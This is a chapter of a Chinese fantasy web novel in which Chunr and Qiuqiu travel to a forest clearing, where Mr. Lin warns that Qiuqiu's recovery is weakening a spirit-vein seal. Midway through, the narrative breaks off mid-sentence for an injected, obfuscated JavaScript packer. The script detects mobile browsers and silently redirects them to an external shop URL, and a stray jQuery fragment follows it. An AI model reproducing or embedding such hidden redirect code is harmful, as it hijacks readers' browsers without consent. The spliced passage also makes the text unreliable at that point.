天刚亮,窗户外面有雾,杂草地上的草叶挂着露水,在灰白的光线里密密麻麻地白着。春儿蹲在地上收拾背包——水壶、充电宝、两个苹果、一包纸巾,拉链拉上又打开塞了把折叠伞,这才觉得差不多了。她站起来,看了一眼这个住了半个月的小房间。床铺好了,桌面收拾干净了,碗筷收进了柜子。该关的关了,该锁的锁了。她走到门口,钥匙插进锁孔,手停了一下。
“……万一回不来怎么办。”
秋秋站在门边,穿着一件深灰外套,拉链拉到胸口。晨光从窗户外侧斜进来,照在她的侧脸上,把下颌线的边缘镀了一层浅金色。“回得来。”
春儿回头看了她一眼。秋秋的表情很平,没有说大话的意味。“……你这么确定?”
“不确定。”秋秋说,“但说回得来和说回不来,我选前一个。”春儿看了她几秒,钥匙在锁孔里转了一圈。“咔嗒”一声落了锁。她转回身往外走。“那走吧。公交车四十分钟,别迟了。”
公交车站建在动物园东门外的主路边,一根漆成蓝白色的铁杆上挂着一块站牌,上面写着两路车的编号和停靠站。春儿站在站牌底下翻手机查时刻表,秋秋站在她旁边。晨风从路面上灌过来,吹得她外套下摆轻轻翻动。她低头看了一眼自己的手——人形的,五指自然垂着,指甲修剪得整齐。跟旁边春儿的手放在一起看,比她大一些,指节更明显。
公交车从远处开过来,车头灯在晨雾里亮着两个昏黄的圆。春儿掏出公交卡,先刷了自己的,然后把卡递到秋秋手里。“刷这里。”秋秋接过去,学着春儿的动作在感应区贴了一下,机器发出一声短促的提示音。她看着手里的卡,又看了一眼春儿。“……记住了。”春儿收回卡:“往后站,让人家先下。”
车里人不多,零星坐着几个早起出门的人。春儿走在前面,在靠窗的位置坐下,示意秋秋坐靠过道的外侧。“你坐外面。里面腿伸不开。”秋秋坐下来,膝盖顶着前排座椅的靠背。她调整了一下坐姿,把腿侧过去一些。车启动了。引擎的震动从座椅底下传上来,像一只巨大的动物在低声嗡鸣。秋秋在车身转向时被惯性带着往右偏了偏,她下意识伸手抓住前排座椅靠背,指节绷紧了一下,又松开了。
春儿侧过头看着她。“……第一次坐车?”
秋秋把手收回来:“……以前不用坐车。”
春儿没有追问更多,只是笑了一下。“手松开也行,不会晃倒的。”秋秋把手指松开了,掌心搭在膝盖上,两掌合拢,安静地搁着。车身微微摇晃,她坐在靠外的位置,余光里春儿正偏头看着窗外,车窗外面的房屋正变得稀疏起来,路边开始出现一块一块的田地,庄稼被收了大半,只剩一片茬。秋秋的目光从窗外收回来,落在春儿被晨光照着的侧脸上。春儿的睫毛很长,尖端在光线里呈现出半透明的浅褐色。她忽然觉得这辆车、这条路线、这片郊区——这一切都是“人间”的一部分。而她正在慢慢从“听说”变成“身处其中”。
春儿偏过头看了她一眼:“你在看什么?”
“……在看人间。”
春儿顿了一下:“人间有什么好看的?”
秋秋沉默了一会儿。“以前在那边的时候,听说人间很吵、很乱、很脏。”她顿了一下,“但是……也有好的。”
“比如?”
秋秋转过头来看着她。“比如你。”
车内短暂的安静。春儿的呼吸顿了一瞬。她转了转头看向窗外,鬓边的碎发垂下来遮住了半张脸。秋秋从侧面看过去,春儿她似乎笑了一下,也可能没有。下一瞬,车内的广播报了一个站名,春儿站起来:“到了。”
下车之后的路比她们预想的长一些。从公交车站拐进一条岔路,路面从柏油变成碎石,又从碎石变成泥土。两旁的树越来越密,枝叶在上方交错,把午后的光线筛成细碎的光斑落在两个人肩上。秋秋走在前半步,步伐比刚才慢了一些。
“就在前面。”她停下来,闭眼确认了一下,“穿过这片林子就到了。”
春儿环顾四周:“……我怎么什么都没感觉到。”
秋秋睁开眼:“因为你还没学会怎么去感觉。但你身体里有那个能力。”她看了春儿一眼,“以后会慢慢能感觉到的。”
穿过林子之后,眼前出现一片圆形空地。没有建筑,没有围栏,四周被老树围着,地面是压实了的泥土和少量碎石,中央有一块灰白色的石头,大约半人高,表面有淡淡的苔痕。整片空地非常安静,安静得不像是城外郊区的一个角落——没有鸟叫,没有风声,连空气本身都好像被一层看不见的东西隔住了,和外面的世界之间隔了一道极薄的膜。
灰衣人林先生已经从树影里走出来,站在那块灰白色石头旁边。他没戴眼镜,穿了一件深灰薄外套,手里没有拿记录板。他安静地看着她们走进来,目光在春儿身上停了一瞬,然后落在秋秋身上。
“你恢复得比我想象中快。”
秋秋停住脚步:“你把我叫到这里来,不是为了夸我恢复得快的。”
林先生没有否认。他侧过身,指了指身后的灰白色石头。“灵脉边缘。这块石头下面就是封印的边界。”秋秋走近了一步。靠近石头时,她体内的灵力自发地振动了一下——那块石头本身像一座沉寂的钟,而她被封印的气息与它产生了一种细微的共振,带着一点不情愿的、被牵动的颤动,像旧伤被覆上了一层极薄的热意。
林先生看着她的反应。“我不是来抓你的,”他说,“我是来求你的。”
秋秋没有说话。
“封印撑不了太久了。”林先生的语调平稳,没有任何渲染的意味,“灵脉边缘正在向内侧收缩,边界
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934493|213702||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开始松动。你以前在那边见过的所有东西——妖兽、阴邪、那些追着你不放的仇家——都会涌进这边来。”他顿了一下,目光从秋秋身上移开,扫过旁边的春儿,“包括不该出现在这里的东西。”
春儿站在旁边,没有说话,但她的手指攥着背包带子,攥得很紧。秋秋注意到她指节发白了,但春儿没有后退。
林先生又说:“我知道你是被封印了丢过来的。我也知道封印你的人和封灵脉的是同一个人。但你恢复得越快,那层封印松动得就越快。”他停下来,看着秋秋的眼睛,“你在恢复,同时也在拆墙。”
秋秋站在那块灰白色石头前面,没有靠近,也没有后退。她感觉脚底的泥土底下有一层极淡的振动,像大地深处有什么在缓慢地呼吸,和她的灵脉共振着。春儿从旁边走过来,和她并排站着。两人之间的距离收得比之前近了些,肩膀之间隔着半个手掌的宽度。
林先生看着她们站在一起的身影,没有再说什么。他转身朝林子方向走了几步,然后停下来,没有回头。“我不急着要你的答案。但如果你继续像现在这样恢复灵力,用不了多久,那面墙就会自己塌。”然后他走进了林间,步伐不快不慢,很快就消失在枝叶交错的光影中。
空地上只剩下两个人。秋秋还站在石头前面,没有动。春儿站在她旁边,落后半步。树影在她们脚边拉长了,午后的光线已经偏西。
“他说的是真的?”春儿先开口了。
“不知道。”秋秋说,“但他说的那个逻辑是对的。我的封印和灵脉的封印是同一套。我恢复,封印松。”她顿了一下,“这是同一个过程。”
“那你怎么办?”
秋秋看着那块石头。灰白的石面上,青苔沿着边缘蔓延,石头的正中央有一道浅浅的纹理,细看之下和她丹田里的封印纹路一模一样。“以前我只想恢复修为。现在我想的是——恢复了之后会怎样。”
春儿沉默了一会儿,然后把攥着背包带子的手松开,垂下来贴着裤缝。“不管怎样,”她说,“回去再说。”
秋秋转过身来看着她。“你刚才不是问我万一回不来怎么办吗。”春儿看着她,没有接话。“现在有一个新的‘万一’。”
秋秋没有把那个“万一”说出口。她看着春儿的脸,看了片刻,然后转身往回走。春儿跟上来,两个人并肩穿过树林,脚下的枯叶被踩出细碎的声响。头顶的枝叶把午后碎光筛成斑驳的亮点,落在她们的肩头和发顶上,一路轻轻跳动着,像一层薄薄的光晕正把她们送回人间。秋秋走在前面半步,春儿落后半步。快要走出林子的时候,秋秋放慢了步子,等春儿走到她旁边了,才重新迈步。两人没有再说话,但步伐逐渐踩在了一个节奏上——脚步声一前一后交替着落在枯叶上,像一种不需要约定的默契。
(第十六章完)